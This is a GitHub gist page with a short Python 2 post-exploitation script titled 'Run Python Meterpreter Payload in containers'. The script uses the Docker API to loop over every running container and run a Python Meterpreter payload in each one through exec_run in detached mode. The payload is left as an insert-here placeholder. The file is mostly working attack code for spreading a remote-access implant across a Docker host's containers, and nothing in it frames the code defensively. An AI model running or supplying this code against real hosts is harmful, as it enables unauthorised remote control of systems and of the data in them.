Created
June 20, 2019 13:58
-
-
Save pasknel/8450fe023cf3499f3fc960c02d74642a to your computer and use it in GitHub Desktop.
Run Python Meterpreter Payload in containers
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import docker | |
client = docker.from_env() | |
payload = "INSERT PYTHON METERPRETER PAYLOAD HERE" | |
cmd = 'python -c "{0}"'.format(payload) | |
for container in client.containers.list(): | |
try: | |
print "[*] Injecting meterpreter (python) in container: {0}".format(container.short_id) | |
container.exec_run(cmd, detach = True) | |
except Exception as e: | |
print e |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment